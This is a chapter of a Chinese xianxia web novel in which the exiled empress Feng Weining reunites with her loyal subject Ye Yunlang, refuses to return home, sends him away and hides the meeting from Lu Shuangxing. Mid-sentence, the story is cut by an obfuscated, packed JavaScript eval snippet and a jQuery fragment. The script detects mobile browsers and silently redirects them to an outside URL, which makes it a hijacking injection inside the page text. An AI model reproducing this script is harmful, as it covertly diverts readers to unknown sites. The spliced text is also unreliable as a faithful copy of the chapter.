26. 十年
作品:《凤凰涅槃》 风未凝压下心里的酸涩,问:“你把我带到了这里,接下来有什么打算?”
叶云朗说:“这边的商船都跟蓬莱有联系,我们不能乘商船,可以用法器慢慢走。先去北陆做些准备,再筹谋回涅槃天。”
回涅槃天?风未凝心里一震。不知从什么时候起她已经绝了回涅槃天的想法了,十年时光消磨,时移世易,她已经习惯了现在的生活。
她嘴唇微动,想说此事不可行。且不说陆霜行近在咫尺,他们连东海都出不去。就算侥幸逃了,灵风带非两人力量能过,断灵海没有灵石烧着也难渡过,十年时间于凡人已经足以改朝换代,形成新的平衡,她回去再没有意义。
然而她说不出口。
她的勇士,忠肝义胆,一腔热血地寻她回去。
将军尚在血战,帝王却要投降!
风未凝心里头一次生出浓重的后悔。作为一个帝王,她应该在离开涅槃天陆地,察觉再也回不去的时候就去死,全了作为一个帝王的体面。而不是像如今这样苟活于世,说些让人失望的话,无地自容。
情绪大起大落,一口血哽在心口,风未凝握着拳,指甲刺破了手心。
她努力压下那些纷乱的思绪,不去想无法面对的事,转而思索眼前的问题,“你……许了船上那高阶修士什么?”
蓬莱修士无利不起早,风未凝想问问叶云朗付出了什么让人家帮他,她手里法宝不少,或许可以补偿一二。
“船上那修士……”她竟以为他与那修士是一伙的?叶云朗抬眸,眸子里含了些许委屈,他说:“那修士心怀不轨!我已经杀了他。今日我去牧渔阁送信,意外在船上看到那个修士扶着你进包厢,才知道你就在这里。”
他其实也听说过齐云峰的风姑娘,想找机会想见见是不是她。只是她深居简出,他一个外门弟子,一直无缘得见。
他到了北陆就能遇上丹鼎阁招弟子,上船就能遇上有人对她图谋不轨。全是巧合?
风未凝揉了揉眉心,“可是他是元婴修士,船上那样的情况,你杀的他?”
叶云朗微怔,若她还是涅槃天无忧无虑的女帝,她是不会想到这些的。他心里有些酸涩,拿出鸾凤和鸣佩递给她,说:“这玉佩里面有一个阵法,哪怕修为比我高很多,也会短暂被困住。我趁他不备,杀了他。担心有人发现,我救下你以后便就近在渡口下了船。”
他的鸾凤和鸣佩竟然没碎?
可即使是借助法器,一个筑基能不惊动别人的情况下杀死元婴,还是有些让人难以置信。
风未凝拿着鸾凤和鸣佩看了看,隐约觉得玉佩跟过去记忆里的不太一样。如今她阵法方面的造诣已经今非昔比,能看出来这上古传下来的东西确实非凡。
这鸾凤和鸣佩是真的,眼前的人是真的。于是风未凝没有再深究,解释,“当初你遇上风暴的时候,我这边的玉佩是有感应的。然而我修为低微,又不懂玉佩用法,没有办法借玉佩之力救你,我的玉佩已损坏了。”
当时的情况,一个凡人不可能活下来。叶云朗如今能好端端的站在这里,显然是另有奇遇。而这奇遇,他不说,她也不必问。
“原来如此。”叶云朗说:“这块玉佩给你防身。”
一个能让筑基期修士越阶杀元婴修士的法宝,他毫不在意送给她。
风未凝摇了摇头,将玉佩还给他,“我不需要,你留着吧。”
“云朗,十年了。”风未凝叹息。
她话里隐含的意思让叶云朗低下了头,沉默片刻,他问:“这十年里,你过得可好?有什么我可以为你做的吗?”
风氏一脉帝王孜孜不倦求仙问道,她得遇仙缘,踏入修途,也算是得偿所愿。他也想过她或许已经不愿跟他回涅槃天。
那么她在这里,过的如何?可需他帮她杀了陆霜行?
当年那个修士去涅槃天是为了什么?在耗费了数不清的灵石以后,发现那里只是一个凡人国度,什么机缘都没有,他是什么样的心情?他为什么掳走那里的女帝?门派里那些炉鼎传闻可是真的?
今日有人想要对她不利,这些事可是第一次发生?
从重逢到现在,他字字句句一片赤诚,察觉到她话里不想回涅槃天之意,也只是平静关心她。她呢?一句一句问的都是什么?风未凝只觉得胸口气血翻涌,生出一种强烈的自厌。
“我过得很好。”她强压下翻涌的气血,尽力用平静的语气回答。她想问他过得好不好,又觉得完全没必要问。
他孤身一人,在这弱肉强食的修仙界,费尽心思的找她,怎么可能好?!
风未凝又看了看天,岑梵若发现她不见,必然通知陆霜行,她时间不多了。
叶云朗能用鸾凤和鸣佩,血脉是否也有特异之处?陆霜行若是发现叶云朗,他会如何?
风未凝抹了把脸,硬下心肠:“云朗,十年太久了,我已无意回涅槃天。君臣之义,白首之约,都到此为止吧。是我辜负了你,你若有所求,但凡我可以做到的,都可以提出来。”
叶云朗眼眶红了,抿着唇强忍着情绪,最后低头跪在她面前,“我并无所求,此生,只想做忠臣。忠臣不事二主。你在哪,我就在哪。”
他是如此固执!
风未凝忍耐的闭了闭眼,放弃了劝说他,深吸了一口气说:“你若仍认我为主,就隐藏好自己的来处,在门派里我不认识你,你也不认识我。好好修炼。”
风未凝想了想,又从储物袋捡了些东西给他,“这些灵石丹药你拿去用。”
帝王所赐,臣子没什么可推脱的。叶云朗沉默地伸手接过了丹药。
她质疑他,拒绝回涅槃天,他都能平静以对。可如今她要与他做陌生人,他情绪明显低落。
风未凝假装看不见,别过头去看了看天色,“天色不早了,我先回丹鼎阁了。”
风未凝拿出飞行法器,往
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675976|172382||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里填灵石。
叶云朗急切地抓住她袖尾,“陛……”
她看向他,他改口,“……未凝,给我一个传音印记。”
风未凝犹豫,有些心软。给他一个传音印记?若他有事,可求助于她。
转瞬心又硬了起来。他这样只想为她肝脑涂地的人,有事怎么可能求助他?她才是他最大的危险!
风未凝刻意冷淡地说:“我希望你记住,我和你之间,如今并不相识。”
风未凝御器飞起,而他真的没有再拦。
那个白衣的少年立在原地目送她远去,目光中仿佛有忧伤凝聚成海。
风未凝不敢回头。
风未凝回程没走多远便收到陆霜行的传音。
只有两个字,“未凝?”
风未凝的神识是没办法回这个传音的,她与陆霜行之间的距离,超出了她神识传音的范围,她当即撕碎了陆霜行之前给的符篆。
三个呼吸的时间,陆霜行便出现在她的面前。
他面如寒霜,在看到她无恙的瞬间柔和了神色。
陆霜行问:“怎么回事?”
风未凝不想让他知道叶云朗的存在,便也不好提那个男修迷晕她的事,否则无法解释她怎么脱身的。
“我认错了人,把另一个女修看成了岑真君,下了船才发现。联系不上岑真君,我就只好御着法器自己往回飞。”这个理由虽然很扯,但也不大好查证。而且她安然无恙地站在这里,陆霜行也就没有彻查到底的必要。
陆霜行被她的愚蠢惊到了,默默消化这个理由,过了片刻才说:“没事就好,下次直接撕碎符篆通知我。”
“这蓬莱附近,能有什么事?今日不是门派大比吗?结束了?”风未凝笑着反问。
“没有,带你一起去。”陆霜行拉她上了自己的法器。
风未凝讶然,“岑梵怎么跟你说的?让你急成这样?”
陆霜行说:“凌云峰主也在看门派大比,他弟子陈通的魂灯突然灭了,他说在那条船上。我与他一起去的船上。”
不是岑梵告诉他的?
“咦?他怎么死的?可查到凶手?”风未凝心里一紧,连忙打听。
陆霜行刚才急着来,没细问,听她问才点开凌云峰主刚发的传音,说:“目前没查到他上船的记录,也没在船上找到他的尸体。魂灯灭时的最后景象却是在船上,没有看到杀他的人,死的悄无声息。可能有高阶修士要对蓬莱不利。最近别出门了,连碧海滩涂也别去了。”
风未凝目光微动。她上船的时候,是登记过身份信息的。可是那位死了的弟子,没有上船记录?
也就是说,此事并非陈若娴碰巧遇上她,临时起意找人收拾她。而是有人处心积虑,从她上了这艘船,便有人蓄谋要害她。
若不是那修士死了,他用的假身份上船,事后便找不到他吗?
身份是假的,那么脸也是假的吧?

